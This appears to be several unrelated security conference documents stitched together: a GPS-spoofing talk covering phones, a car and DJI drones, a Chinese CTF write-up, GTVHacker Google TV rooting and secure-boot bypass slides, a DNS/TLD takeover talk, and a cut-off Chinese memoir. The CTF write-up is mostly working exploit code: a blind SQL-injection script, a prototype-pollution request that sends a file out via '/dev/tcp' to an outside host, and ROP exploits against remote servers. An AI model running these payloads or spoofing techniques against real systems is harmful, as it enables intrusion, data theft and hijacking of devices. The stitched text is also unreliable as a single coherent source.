principle Mathematics time Key information in Pseudo-range equations Calculate the delays at receiver WHEN WHERE Structure of message 1 bit (20 ms) 1 word (600 ms) 1 subframe (6 s) 1 page (30 s) 25 pages – the whole message (12.5 min) x30 x10 x5 x25 Info of WHEN & WHERE Subframe 1 Subframe 2 Subframe 3 Subframe 4 Subframe 5 Time information WHEN Ephemeris WHERE Start building the signal Get Ephemeris data •  Method 1 •  Download ephemeris data file from CDDIS website •  ftp://cddis.gsfc.nasa.gov/gnss/data/daily/ •  Here we can only get yesterday’s ephemeris data •  Method 2 •  Use ‘gnss-sdr’ program to receive the real-time GPS signal and get the fresh ephemeris data •  The ‘GSDR*’ files are the decoded ephemeris data, in standard RINAX format. Decode the fresh ephemeris data •  Software •  Run ‘gnss-sdr’ •  Get the GSDR* file Matlab code of GPS simulator Example: structure of Subframe 2 Generate navigation message Bits "Waveform GPS principle again Calculate the transmission time How to calculate transmission time Satellite is moving Earth is rotating Calculate the coordinate according to ephemeris data Calculate the length of signal path NOT EASY Matlab code of generating waveform Firstly offline verify the signal by ‘gnss-sdr’ OK Secondly verify it by transmitting GPS signal file over air by bladeRF Soft-receiver ‘gnss-sdr’ demod the signal OK Try to spoof cellphone’s GPS … Failure Which part is not perfect? Doppler effect Another challenge: Doppler effect Moving towards receiver Moving far from receiver GPS principle again Delay will be longer and longer, if moving far from receiver Delay will be shorter and shorter, if moving towards receiver NOT EASY Try cellphone again •  Nexus 5 GPS chipset •  Satellites are detected as pre-setting. •  Satellite signal strengths are same as we defined. •  3D fixed by simulated signal Bingo! Bingo! Samsung Note 3 •  Located at Namco Lake in Tibet but the cellphone is actually in Beijing. Bingo! iPhone 6 •  Namco Lake in Tibet •  iPhone positioning is much slower. •  The cellphone clock was also reset to wrong time if auto- calibration is enabled. Set any time •  You may find the date we set is always Feb. 14 2015. This is because the ephemeris data file we use is at that day. •  Actually not only spacebut also time, can be spoofed. A cellphone in future time We set the time as Aug. 6, 2015 (today is Jul. 14) and position as Las Vegas. Try to spoof cars •  Demo video: The car, BYD Qinwas located in a lake center. DJI drone - forbidden area policy •  To avoid the risk from droneto people and to critical facilities, drone flying are forbidden in many cities. •  For example, DJI drone’s engine will keep off when it finds the position is in forbidden area. A drone that crashed on the grounds of the White House had evaded radar detection. Try to spoof DJI drone •  Demo video Disable forbidden area •  The drone is actually at a forbidden location in Beijing. We gave it a fake position in Hawaii, then it was unlocked and can fly up. Try to spoof DJ drone •  Demo video: Hijack flying drone •  We gave a forbidden position to a flying drone, then it would automatically land. Lessons – how to anti-spoof •  Application layer •  Now usually GPS has highest priority. Cellphone is spoofed even if it has cellular network connection. •  Use multi-mode positioning, GLONASS, Beidou •  Jointly consider cellular network and wifi positioning •  Civil GPS receiver chipset •  Use some algorithms to detect spoofing •  Civil GPS transmitter •  Add digital signatures into the extensible GPS civil navigation message GPS is still a great system •  First global positioning system •  Usable for all of the world •  Very low cost, small size… •  It keeps updatingso we believe the security issue will be improved in future. Acknowledgment •  JIA Liwei •  Graduate student of BUAAmajoring radio navigation •  https://code.csdn.net/sywcxx/gps-sim-hackrf •  JIAO Xianjun •  Senior iOS RFSW engineer at Apple, SDR amateur •  http://sdr-x.github.io/ Thank you!
pdf
网鼎杯-青龙组WP Author:Nu1L 网鼎杯-青龙组WP Web AreUSerialz trace notes filejava Re signal joker bang Pwn boom1 boom2 faster0 Misc 签到 Crypto you raise me up boom Web AreUSerialz bypass即可: str=O%3A11%3A"FileHandler"%3A2%3A%7Bs%3A2%3A"op"%3Bs%3A17%3A"2.00e%2B00000000 000"%3Bs%3A8%3A"filename"%3Bs%3A18%3A"%2Fweb%2Fhtml%2Fflag.php"%3B%7D trace 能插入的数量有限,那么布尔盲注肯定不行了,报错跟时间盲注结合即可: # -*- coding:utf8 -*- import requests import string import datetime import time string = '0123456789abcdefghijklmnopqrstuvwxyz0123456789-:{}' flag = '' select = 'select concat(`1`,0x3a,`2`) from (select 1,2 union select * from flag)a limit 1,1' url="http://3e1a55fa7c4f460fb8d88e766785d58f44ba3250aeb0456b.changame.ichunqiu.c om/register_do.php" for n in range(1,99):    for i in string:        time1 = datetime.datetime.now() notes nodejs原型链污染:        payload="1'-if(substr(({}),{},1)='{}',concat(sleep(5),1-~0),1-~0)- '".format(select, n, i)        data = {            'username': payload,            'password': 'nu1lllllll'       }        req = requests.post(url,data=data,timeout=5)        time2 = datetime.datetime.now()        sec = (time2 - time1).seconds        if sec > 2:            flag += i            print(flag)            break POST /edit_note HTTP/1.1 Host: ddd9447ec43848449c628ef60b3b3f4ed7b86cd7cd324e0e.changame.ichunqiu.com:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6 Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1589075824; __jsluid_h=faddad415e2e0149739390ca4232e3a7; Hm_lvt_d7682ab43891c68a00de46e9ce5b76aa=1589094149; Hm_lpvt_d7682ab43891c68a00de46e9ce5b76aa=1589094342; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1589094377 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 106 id=__proto__&author=cat /flag>/dev/tcp/xxxxx/51003&raw=cat /flag>/dev/tcp/xxxxx/51003 GET /status HTTP/1.1 Host: ddd9447ec43848449c628ef60b3b3f4ed7b86cd7cd324e0e.changame.ichunqiu.com:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6 filejava 任意文件读反编译class,存在如下代码: 然后根据文章xxe读flag就行: https://www.dazhuanlan.com/2020/02/02/5e36a1acefeea/ Re signal joker Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1589075824; __jsluid_h=faddad415e2e0149739390ca4232e3a7; Hm_lvt_d7682ab43891c68a00de46e9ce5b76aa=1589094149; Hm_lpvt_d7682ab43891c68a00de46e9ce5b76aa=1589094342; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1589094377 Connection: close d = [34, 63, 52, 50, 114, 51, 24, -89&0xff, 49, -15&0xff, 40, -124&0xff, -63&0xff, 30, 122] d[0] = chr((d[0] + 5) ^ 16) d[1] = chr((d[1] / 3) ^ 32) d[2] = chr(d[2] + 3) d[3] = chr((d[3] ^ 4) - 1) d[4] = chr((d[4] + 33) / 3) d[5] = chr(d[5] + 2) d[6] = chr((d[6] + 32) ^ 9) d[7] = chr(((d[7] ^ 36) - 81)) d[8] =chr(d[8]) d[9] = chr(((d[9] - 37) / 2)) d[10] = chr((d[10] ^ 65) - 54) d[11] = chr(d[11] - 32) d[12] =chr((d[12] - 37) / 3) d[13] =chr((d[13] + 32) ^ 9) d[14] = chr(d[14] - 66) print ''.join(d) bang apk脱壳题,用https://github.com/lasting-yang/frida_dump的dump_dex试了试,成功脱出dex,用 strings工具可以看到flag Pwn boom1 boom2 a = "hahahaha_do_you_fin\x00\x00\x00\x00\x00"; b= [14,13,9,6,19,5,88,86,62,6,12,60,31,87,20,107,87,89,13,0x25^0x47,0x74^0x47,0x70^ 0x47,0x26^0x47,0x3a^0x47] res = '' for i in range(len(a)): res+=chr(ord(a[i])^b[i]) print res from pwn import * #p = process('./pwn') p = remote('182.92.73.10', 24573) raw_input() code = ''' int main(){char a;char* b;int *c;char *d;char *e;b = &a - 0x50bfd8-28*0x1000;c = b+3958696;d = b+283536;e=b+1625431;c[0]=d;c[1]=(d>>32);free(e);} ''' test =  ''' int main(){char a;char* b;int *c;char *d;char *e;b = &a - 0x50bfd8- 28*0x1000;printf("%s",b);} ''' p.sendline(code) #p.recvuntil('I\'m living...\n') p.interactive() from pwn import * p =remote('182.92.73.10',36642) p.recvuntil('code> ') payload = p64(0)+p64(0xfffffffffffffffc) payload += p64(9) payload += p64(13) payload += p64(1)+p64(0xe8) payload += p64(6)+p64(0xffffffffffffffff) payload += p64(26) payload += p64(13) faster0 Misc payload += p64(13) payload += p64(9) payload += p64(13) payload += p64(1)+p64(0xd0917) payload += p64(6)+p64(0xffffffffffffffff) payload += p64(25) payload += p64(6)+p64(0xffffffffffffffff) payload += p64(11) p.send(payload) p.interactive() from pwn import * #p = process('./pwn-56e9ca43f610bd7dbdb6a0cb630383ab') p = remote('39.96.72.181',28500) p.recvuntil('password') p.sendline('8dda45d7-96aa-442f-8d53-5288d0658bc5') p.sendline('68093016400486306539325128123755443068690752542513033004405011250264 44222893626108916010734348409732') p.recvuntil('WOW,U R GREAT !\n') poprdi = 0x0000000000406013 #: pop rdi ; ret poprsi = 0x0000000000406011 #: pop rsi ; pop r15 ; ret rop = '' rop+=p64(poprdi) rop+=p64(1) rop+=p64(poprsi) rop+=p64(0x609018) rop+=p64(0) rop+=p64(0x400640) rop+=p64(0x405ef7) raw_input() p.sendline('a'*0xd8+rop) write_addr = u64(p.recv(8)) setbuf_addr = u64(p.recv(8)) print hex(write_addr) print hex(setbuf_addr) libc_base = write_addr - 0x111300 sys = libc_base+0x0554e0 sh = libc_base+1795603 p.send('\n') rop2 = 'a'*0xd8 rop2+=p64(poprdi) rop2+=p64(sh) rop2+=p64(sys) p.recvuntil('WOW,U R GREAT !\n') p.sendline(rop2) #p.sendline() p.interactive() 签到 答完题输token时候看下network即可 Crypto you raise me up boom cmd5查个md5得到en5oy 然后解几个方程就行 sage: F = IntegerModRing(2**512) sage: m = F(39119070912452742895948966256527403931830595217293685940385507958140 ....: 27709868903084690847354512078853863189868810415637048259439450693433453073 ....: 81099559075 ....: ) sage: c = F(66658513942032142458567894507236586325208167916217967759097668952330 ....: 00234023642878786025644953797995373211308485605397024123180085924117610802 ....: 485972584499) sage: x = discrete_log(c,m,operation='*') sage: hex(x) '0x666c61677b35663935636139332d313539342d373632642d656430622d6139313339363932636 234617d' In[2]:= Solve[{3*x - y + z == 185, 2*x + 3 y - z == 321,  x + y + z == 173}, {x, y, z}] Out[2]= {{x -> 74, y -> 68, z -> 31}} In[3]:= Solve[x*x + x - 7943722218936282 == 0, x] Out[3]= {{x -> -89127562}, {x -> 89127561}}
pdf
GTVHACKER Google TV Or: How I Learned to Stop Worrying and Exploit Secure Boot GTVHACKER GTVHacker: The Team •  GTVHacker is a group of 6 hackers with individual skill sets who work together to unlock Google TV devices. •  Our primary goal is to bypass hardware and software restrictions to allow for unsigned kernels to be loaded and used. •  To date the team has released multiple methods for unlocking Google TV devices. •  The GTVHacker team won a $500 bounty for being the first to root the Google TV. •  We hack things because we believe in open and free hardware. Our current target just happens to be the Google TV. h#p://DC21.GTVHacker.com 2 GTVHACKER Members Mike Baker ([mbm])- Firmware developer and co-founder of OpenWRT Hans Nielsen (AgentHH)– Senior Security Consultant at Matasano CJ Heres (cj_000) – IT Systems Manager gynophage – He's running that big ole DEFCON CTF right now Tom Dwenger (tdweng)– Excellent with APK reversing and anything Java Amir Etemadieh (Zenofex) – Research Scientist at Accuvant LABS, founded GTVHacker h#p://DC21.GTVHacker.com 3 GTVHACKER What's the Google TV? •  Google TV is a platform that: o  Bridges the gap between your TV and an Android device. o  Creates an overlay on television stream and also contains an IR transmitter to transmit to media center devices (cable box, TV, sound system). o  Receives over-the-air updates automatically from OEM manufacturers. o  Contains a forked version of Chrome with all plugins and extensions disabled. o  Was originally released without the Android Market available but was eventually updated to include it. o  Provides a built-in Flash Player, however most content providers block the Google TV. h#p://DC21.GTVHacker.com 4 GTVHACKER Why We Hack It Just a few reasons why we targeted the platform: •  Locked bootloader •  Heavily restricted kernel preventing user modifications •  Generation 1 EOL •  Crippled Flash Player In short, the Google TV devices are locked down and crippled by their limitations. Our goal is to change that. h#p://DC21.GTVHacker.com 5 GTVHACKER Last Year They released devices... We hacked them all. Let's make this quick so we can get to the exploits! h#p://DC21.GTVHacker.com 6 GTVHACKER Generation 1 Hardware Extremely limited number of devices compared to second generation. First generation has been discontinued. h#p://DC21.GTVHacker.com 7 Logitech Revue NSZ-GT1 NSZ-[24-46]GT1 GTVHACKER Recap of Generation 1 Exploits •  Logitech Revue o  Root UART o  /dev/devmem (Dan Rosenberg) •  Sony NS[X|Z]-[24-46]GT1 o  Downgrade nodev bug o  Recovery LCE o  kexec as module o  Unsigned Kernels h#p://DC21.GTVHacker.com 8 GTVHACKER Along the way: Chrome Flash Player Modification Hulu and other sites check the Flash Player version string on the box, preventing access. From: To: This simple change teamed with modifying the browser user-agent results in a Content Block Bypass on all blocked sites. h#p://DC21.GTVHacker.com 9 GTVHACKER Logitech's Secret Message to Us “@gtvhackers congratulations if your  [sic] reading this please post  a note on your forum to let me know ;)” h#p://DC21.GTVHacker.com 10 GTVHACKER Boxee Box h#p://DC21.GTVHacker.com 11 We disclosed an exploit for Boxee at last year's DefCon •  Software LCE •  Hardware Root UART (under some VIA's) •  Spawned Boxee+ Community •  Modifications based off our root that extend the life and functionality of the Boxee Box •  308,128 Views since December, 2012 •  STILL VULNERABLE :) TL;DR We dropped an exploit at DEFCON 20, the community responded. Keep up the awesome work Boxee community. GTVHACKER The Next Generation... h#p://DC21.GTVHacker.com 12 GTVHACKER Generation 2 Hardware h#p://DC21.GTVHacker.com 13 Netgear Prime Sony NSZ-GS7/GS8 Hisense Pulse Vizio Co-Star Asus Cube LG 47/55G2 & G3 LG U+ Similar hardware design throughout most of the generation GTVHACKER Generation 2 h#p://DC21.GTVHacker.com 14 •  Marvell 88DE3100 based •  ARM – Dual 1.2GHz processors •  Dubbed the “Armada 1500” •  On-die Crypto processor, separate memory •  Secure Boot from ROM via RSA and AES GTVHACKER Marvell Armada 1500 (88DE3100) h#p://DC21.GTVHacker.com 15 GTVHACKER Chain of Trust Chain of Trust Placeholder h#p://DC21.GTVHacker.com 16 GTVHACKER Platform Information h#p://DC21.GTVHacker.com 17 •  Android 3.2 o  No public vulnerabilities work •  Not a Bionic libc o  No Android native libraries supported* •  Gen 1: Intel CE4150 o  Single Core Atom ~1.2GHz •  Gen 2: Marvell Armada 1500 o  Dual Core ARM ~1.2GHz each •  Android 4.2.2 incoming for Gen 2 o  Adds Native Libraries, Bionic libc GTVHACKER Sony NSZ-GS7/GS8 •  8GB EMMC Flash •  Best remote •  Larger form factor o  Internal PSU o  Built in IR blasters •  $199 Same box as the GS7, but with a voice search remote h#p://DC21.GTVHacker.com 18 GTVHACKER Vizio Co-star h#p://DC21.GTVHacker.com 19 •  Small form factor •  No Voice Search •  Custom Launcher •  $99 MSRP •  Updates are encrypted via Update Logic o  Common in all Vizio devices GTVHACKER Hisense Pulse •  2nd Best Remote •  Launched with ADB running as root o  Patched shortly after •  $99 MSRP h#p://DC21.GTVHacker.com 20 GTVHACKER Hisense Pulse Root •  Teardown showed a root shell over UART •  ro.debuggable=1 •  adb root was all it needed! •  Released a script that disabled updates and installed our Chrome Flash Modification h#p://DC21.GTVHacker.com 21 We'll have a select number of USB to TTL adapters available at the Q&A GTVHACKER Netgear NeoTV Prime •  Horrible Remote •  $129 MSRP •  Two exploits o  One real o  One oversight h#p://DC21.GTVHacker.com 22 GTVHACKER Netgear NeoTV Prime Root Prime auto-spawned a console as the root user over UART regardless of the security setting. Factory backdoor in the “testmode” service. Allowed for execution of code from USB as root. h#p://DC21.GTVHacker.com 23 GTVHACKER h#p://DC21.GTVHacker.com 24 GTVHACKER Asus CUBE •  Same generation 2 hardware •  Bad Remote •  $139 MSRP h#p://DC21.GTVHacker.com 25 GTVHACKER CubeRoot Auto exploits and patches your Asus Cube from an App! h#p://DC21.GTVHacker.com 26 GTVHACKER CubeRoot •  Exploited a helper app (oplayhelper) via a world writable socket •  Helper application passed un-sanitized input to the mount command resulting in LCE o  We triggered the vulnerability from within an Android APK o  Point, click, pwn o  Added in Google Play Store h#p://DC21.GTVHacker.com 27 GTVHACKER CubeRoot •  Also patches the exploit, to prevent evil apps •  Pulled by Google – get it at GTVHacker.com o  Downloaded ## boxes o  Rooted ## boxes (Included 1 eng build) o  Listed in Google Play store for 6 days •  Patched at the beginning of July o  Took roughly 2 months h#p://DC21.GTVHacker.com 28 GTVHACKER One Root to Rule Them All h#p://DC21.GTVHacker.com 29 GTVHACKER Magic USB •  Recall our past exploits with file system nodes and block devices? o  In the first generation of GoogleTV devices, our original "4 usb recovery exploit" leveraged a USB device improperly not mounted "nodev" o  That was only two very similar devices. What about something a bit bigger? h#p://DC21.GTVHacker.com 30 GTVHACKER Magic USB •  All Google TV's and some other Android devices are vulnerable. o  Certain specific Linux boxes too! •  vold mounts NTFS partitions without “nodev” •  A little known “feature” of NTFS is that it supports Linux block / character devices h#p://DC21.GTVHacker.com 31 GTVHACKER Magic USB •  NTFS Drive + Block Device o  Read / Write on any box, any partition. •  Easy root, on every single box! o  Dump boot.img o  Patch init.rc or default.prop to ro.secure=0 o  Write it back (as a user, no root needed) o  Reboot, you are rooted – win! o  Sony boxes require an additional step h#p://DC21.GTVHacker.com 32 GTVHACKER OOOHHHH YEAH h#p://DC21.GTVHacker.com 33 GTVHACKER Hardware Mods / Exploits h#p://DC21.GTVHacker.com 34 Sony NSZ-GS7 with EMMC->SD and SATA Mods GTVHACKER LG 47/55G2 h#p://DC21.GTVHacker.com 35 •  Dual Core ARM L9 o  aka LG1152 •  Signed Everything o  Even the splash! •  Our “White Whale” o  Why spend $1K? o  Next best thing §  Power supply and Mobo GTVHACKER LG 47/55G2 Root •  Hardware Root! o  EMMC Flash §  EMMC §  MMC §  SD •  All fall back to SPI mode h#p://DC21.GTVHacker.com 36 GTVHACKER LG 47/55G2 Root h#p://DC21.GTVHacker.com 37 GTVHACKER LG 47/55G2 Root partinfo at 0x100000. Take the filename, count back 6 bytes and byteswap – your location. /system is at 122,159,104 mount -text4 - o,skip=122159104 /dev/ sdXX /mnt/system h#p://DC21.GTVHacker.com 38 GTVHACKER LG 47/55G2 Root •  Root FS is a signed squashfs image •  Init script calls: /system/ vendor/bin/ init_forcestripped.sh •  Mount, edit to spawn telnet, root shell over uart, or over PL2303 USB serial adapter. •  Debug agent (dongle needed) runs over UART h#p://DC21.GTVHacker.com 39 GTVHACKER Sony NSZ-GS7/GS8 •  Sony also uses an EMMC Flash making interfacing easier o  Boot & system are not signed •  To gain root we rewrite /boot or /system o  However, the RSA signed init scripts check for certain props §  EX: Check for ro.secure=0, if so, reboot o  Since we can modify /boot we can remove the check o  Sony also disabled dd, insmod, and some other bits via kernel calls o  Being able to write /system and /boot you can change most restrictions at will! h#p://DC21.GTVHacker.com 40 GTVHACKER Sony NSZ-GS7/GS8 •  SATA HDD o  Jumpers / caps over front points o  Add SATA connector on the back o  Connect a HDD. Ach, it's not being detected! But no kernel support for SATA h#p://DC21.GTVHacker.com 41 GTVHACKER Now What? We've got root but we want more. h#p://DC21.GTVHacker.com 42 GTVHACKER Marvell Armada 1500 Secure Boot Exploit •  Armada 1000 = 88de3010 •  Armada 1500 = 88de3100 May also work on the Armada 1000 h#p://DC21.GTVHacker.com 43 GTVHACKER Marvell Armada 1500 Secure Boot Exploit •  Sony NSZ-GS7 •  Netgear NeoTV Prime •  Vizio Co-Star •  Hisense Pulse •  Asus CUBE •  Sony NSZ-GS8 h#p://DC21.GTVHacker.com 44 •  LG U+ IPTV •  Google “Berlin” •  ZeroDesktop MiiPC •  Hisense XT780 TV •  Lenovo S31/S61 TV •  TCL MoVo •  And Others! GTVHACKER Detailed Security Overview h#p://DC21.GTVHacker.com 45 GTVHACKER Bootloader Messages h#p://DC21.GTVHacker.com 46 GTVHACKER Android Kernel +  Marvell Secure Image h#p://DC21.GTVHacker.com 47 GTVHACKER Android Kernel Header h#p://DC21.GTVHacker.com 48 Mkbootimg/bootimg.h GTVHACKER Android Kernel + MV Secure Image h#p://DC21.GTVHacker.com 49 GTVHACKER A Second Look h#p://DC21.GTVHacker.com 50 Red = Ramdisk Size Black = Ramdisk Load Address You got your Ramdisk in my Kernel! GTVHACKER Secure Boot Exploit •  Note the ramdisk load address o  Can be modified without breaking kernel signature •  Allows us to load a "ramdisk" anywhere in memory o  Ramdisk in this case is a chunk of our own unsigned code •  Copies in our "ramdisk" at the address specified, and without any additional checks, we can run our own unsigned code h#p://DC21.GTVHacker.com 51 GTVHACKER Area Of Attack (Pseudocode) h#p://DC21.GTVHacker.com 52 GTVHACKER New Boot Flow / Memory Map New Boot Flow / Memory Map h#p://DC21.GTVHacker.com 53 GTVHACKER Exploit Process •  GTVHacker Custom Recovery on Sony NSZ-GS7 o  Sony box has additional security o  Append a tiny secure image that will validate o  Normal signed kernel will do •  Add on our custom Recovery + Kernel (w/ ramdisk) o  Change Ramdisk size to match our new "ramdisk” •  Set Ramdisk Load Address: §  0x1008000 – Size of Signed Kernel •  Our custom Recovery ends up at 0x1008000, and boots! h#p://DC21.GTVHacker.com 54 GTVHACKER Exploit Process Exploit Image Placeholder h#p://DC21.GTVHacker.com 55 GTVHACKER U-Boot •  We can also trigger the exploit and run uboot •  ASUS was kind enough to GPL parts, and with some patches, it runs •  Load a kernel via TFTP, Flash, or USB for development h#p://DC21.GTVHacker.com 56 GTVHACKER Future Research Areas that need more work: •  Unsigned kernels on Gen 1 (Revue) w/ NTFS exploit h#p://DC21.GTVHacker.com 57 GTVHACKER Demo h#p://DC21.GTVHacker.com 58 GTVHACKER Thank You! h#p://DC21.GTVHacker.com 59 Slide Resources can be found at: http://DC21.GTVHacker.com WIKI: http://www.GTVHacker.com FORUM: http://forum.GTVHacker.com BLOG: http://blog.GTVHacker.com IRC: irc.freenode.net #GTVHacker Follow us on Twitter: @GTVHacker
pdf
顶级域攻击与接管指南 > ABOUT ME 0 1 • ztz @360高级攻防实验室 • 专注攻防对抗研究、漏洞挖掘、武器开发 • // Google Hall of Fame • // Golang • // Ruby • // Homebrew > 主要内容 0 2 • DNS Protocol 介绍 • 云 DNS 场景劫持探讨 • 顶级域 DNS 场景劫持探讨 > DNS 协议 0 3 • 诞生于 1983 年,不断更新到现在 • 实现主机与 IP 地址转化的“互联网电话簿” • ICANN 负责域名系统的维护和运作 > DNS 协议 0 4 > 域名组成 0 5 sub.domain.tld. 子域 权威域 顶级域 根域 > 根域 0 6 • 根域是域名系统中最高级别解析域 • 根域服务器是 DNS 中最高级别的域名 服务器,提供到顶级域服务器的映射 • 根域服务器地址硬编码在递归 DNS 服 务器中 > 顶级域(TLD) 0 7 • 顶级域是互联网域名系统的等级中, 位于根域空间的最高级域名,由 IANA 管理,分发托管商负责 • 托管商提供某一顶级域下所属域名解 析服务 • https://data.iana.org/TLD/tlds-alpha-by- domain.txt > 权威域 0 8 • 域名注册商面向市场提供权威域购买 和注册服务 • 权威域由实际购买者负责管理和维护 > 域名组成 0 9 Root$DNS$ Server TLD$DNS$Server Authoritative$ DNS$Server > 注册域名时实际在注册什么 1 0 用户 注册商 a.co a.com TLD Server > 注册域名时实际在注册什么 1 1 用户 注册商 a.co a.com NS ns.a.co TLD Server > 注册域名时实际在注册什么 1 2 用户 ns.a.co Where.is.www.a.com x.x.x.x Authoritative$ DNS$ Server > 权威域 DNS 到底在哪里 1 3 • 域名注册商通常提供权威域 DNS 解析服务,域名购买后默 认使用域名注册商 DNS 托管解析 • 单独 DNS 解析服务提供商:Cloudflare、各类云解析 DNS > 云解析 DNS 管理权限交接 1 4 • 权限交接发生在更换 DNS 托管商时 • 老 DNS 托管商使用 EPP 协议请求顶级域 Zone file 更新, 修改该域名 NS 指向到新 DNS 托管商 • 顶级域 Zone file 更新,权威域 DNS 解析服务器完成指 向更新 • 云解析 DNS 验证 NS 指向成功,用户获得控制台管理 权 > 云解析 DNS 接管风险 1 5 • 先验证,后管理 a.com IN NS ns1.xxyun.com TLD Zone xxyun DNS 用户账户 > 云解析 DNS 接管风险 1 6 • 孤儿域名:已绑定域名被解绑,NS 指向未修改 a.com IN NS ns1.xxyun.com TLD Zone xxyun DNS 用户账户 > 云解析 DNS 接管风险 1 7 • 孤儿域名接管:攻击者在控制台添加孤儿域名,完成域名接管 a.com IN NS ns1.xxyun.com TLD Zone xxyun DNS 攻击者 > 云解析 DNS 接管风险 1 9 > 云解析 DNS 接管风险 2 0 孤儿域名 + 云 DNS = 云 DNS 域名接管 • 孤儿域名接管获得域名控制权 • 云 DNS 解析服务器域名通常托管于该云 DNS 中 > 云解析 DNS 接管风险 2 1 • 举例说明 • 某云 DNS 解析服务器 ns1.xxcloud.cn • 大量用户域名通过 ns1.xxcloud.com 托管 云 DNS ns1.xxcloud.com 用户 > 云解析 DNS 接管风险 2 2 • 某云进行架构升级,在老 DNS 和用户之间加入一层新 DNS 云 DNS ns1.xxcloud.com 用户 云 DNS ns1.dns-xxcloud.com > 云解析 DNS 接管风险 2 3 • 因缘巧合,此时老 DNS 服务器成为孤儿域名 云 DNS ns1.xxcloud.com 用户 云 DNS ns1.dns-xxcloud.com > 云解析 DNS 接管风险 2 4 • 攻击者控制台注册老 DNS 服务器,接管云 DNS 云 DNS ns1.xxcloud.com 用户 云 DNS ns1.dns-xxcloud.com > 云解析 DNS 接管风险 2 5 > 顶级域 DNS 接管风险 2 6 • 同样的道理,顶级域 DNS 是否存在类似问题? > DNS 解析流程 2 7 Recursive DNS Server Root DNS Server TLD DNS Server Authoritative DNS Server Client Stub 1..Where.is.www.a.com? 2..Where.is..com? 3..Where.is.a.com? 4..Where.is.www.a.com? > DNS 解析流程 2 8 Recursive DNS Server Root DNS Server TLD DNS Server Authoritative DNS Server Client Stub 1..Where.is.www.a.com? 2..Where.is..com? 3..Where.is.a.com? 4..Where.is.www.a.com? > DNS 解析流程 2 9 Root DNS Server Root Zone file Where is .com? com. 86400 IN NS m.gtld-servers.net. com. 86400 IN NS c.gtld-servers.net. com. 86400 IN NS e.gtld-servers.net. com. 86400 IN NS l.gtld-servers.net. > 顶级域接管 3 0 • 国外安全研究员 @IAmMandatory • The .io Error – Taking Control of All .io Domains With a Targeted Registration - @IAmMandatory • 接管过期的 .io 顶级域 NS 服务器 • 目前顶级域 NS 是否存在该问题?@fate0 > 顶级域接管 3 1 > 顶级域接管 3 2 > 顶级域接管 3 3 > 顶级域接管 3 4 • 第一次尝试,寻找未注册或过期的顶级域 NS > 顶级域接管 3 5 > 顶级域接管 3 6 > 顶级域接管 3 7 • 意料之中:域名均已注册,只是暂未设置 DNS 解析 > 顶级域接管 3 8 • NS 主从之间通过 AXFR 或 IXFR 域传送同步解析记录 • TLD 主从 NS 之间是否存在不一 致现象? > 顶级域接管 3 9 • 开始 TLD 主从 NS 之间不一致现象 研究 • 5k+ 条 TLD NS 记录,逐个分析 NS 之间的不一致现象 > 顶级域接管 4 0 • 一定数量 NS 失效: • (46) ns-tld1.charlestonroadregistry.com • (21) *.zdnscloud.com > 顶级域接管 4 1 • 部分 NS 存在解析不一致,且不一致的解析记录可注册 • 意味着存在接管风险 > 总结 4 5 • DNS 协议族古老、臃肿庞大 • 老协议 + 新业务新场景 = 攻击面 M A N O E U V R E 感谢观看! KCon 汇聚黑客的智慧
pdf
我这10年的“搞站”路 我叫老牛,是高中室友给起的,原因很简单,我在8人寝室年龄排第六,四川话“老6”和“老牛”读音相仿。 后来我就把我的qq昵称改成了“L.N.”,我接受了这个称呼,因为自我审视,性格的确有执拗的一面,内 向且不善言谈。我以“老牛”的称呼警醒自己,大学就去参加了很多社团和当了2年团支书,得到了不错的 改善。扯远了,说回来,“L.N.”是我踏上“搞站”路的第一个代号,中途换过几个,发现还是L.N. 更“像”我,就这样一直用到现在。 第一次知道破解别人QQ空间密码是可以学习的,也是在高中。于是迫不及待的学习了一些如今看来都是 违法乱纪的技术手段,最后qq空间密码没破解开,倒是认识了很多技术上的好朋友,大家一起开开心心 的“装逼”很是快乐。 从我开始决定不和他们这样“装逼”下去,认真的开始写第一行PHP代码开始,是在我2010年开始读大 学,成都信息工程学院电子商务专业。军训一结束拿着有限的4000块钱跑到电脑城配电脑,左手一个主 机右手一个显示器,高兴的像个傻子。 大学5年,转专业多读了一年,在攻防技术知识海洋里,痛苦着、快乐着。搞学校服务器、论坛YY吹牛 逼、红盟、08sec、90sec。后来转专业到信息安全,加入syclover小组,通过学长引荐加入了insight- labs。知道了世界有多大,自己有多菜。自己还是一个挖着CMS漏洞的web狗的时候,团队大哥做的分 享已经是“渗透三通道“(控制潜伏、操作执行、数据密取)。于是”低调“了很多,牛逼吹不出了,只能继 续边学习边搞站,有巨人在前,动力往往是喷涌不断的。 14年开始出来实习了,实习前有个小插曲至今记得。由于PHP漏洞挖的还可以,被拉入了一个搞PHP的 群里,有一天我问:”兴趣成了工作是一件好事么?“。heige说是,当时不清楚他是到了创宇还是在医 院,他大致观点是兴趣和工作可以兼容。另外一个搞PHP的人都很认可的大哥ryat说不是,听说ryat大哥 不在安全圈子,在做公务员。现在回头来看,我选择不是。 就这样我开始工作了,由于2个学长(多读一年只能叫学长)和我一起参加国家测评中心比赛拿了第一, 大家一起去实习了。一个拿了编制和北京户口,一个没有选择编制但也留了下来,而我傻乎乎拿着360 的sp去了攻防实验室。走的时候国测的leader是一名年纪偏大的大叔,据说调他去网信办,他不去。当 时他劝我留下,虽然我是本科,可以走特批有编制,他的有一句话我至今记得,越到现在我体会越深 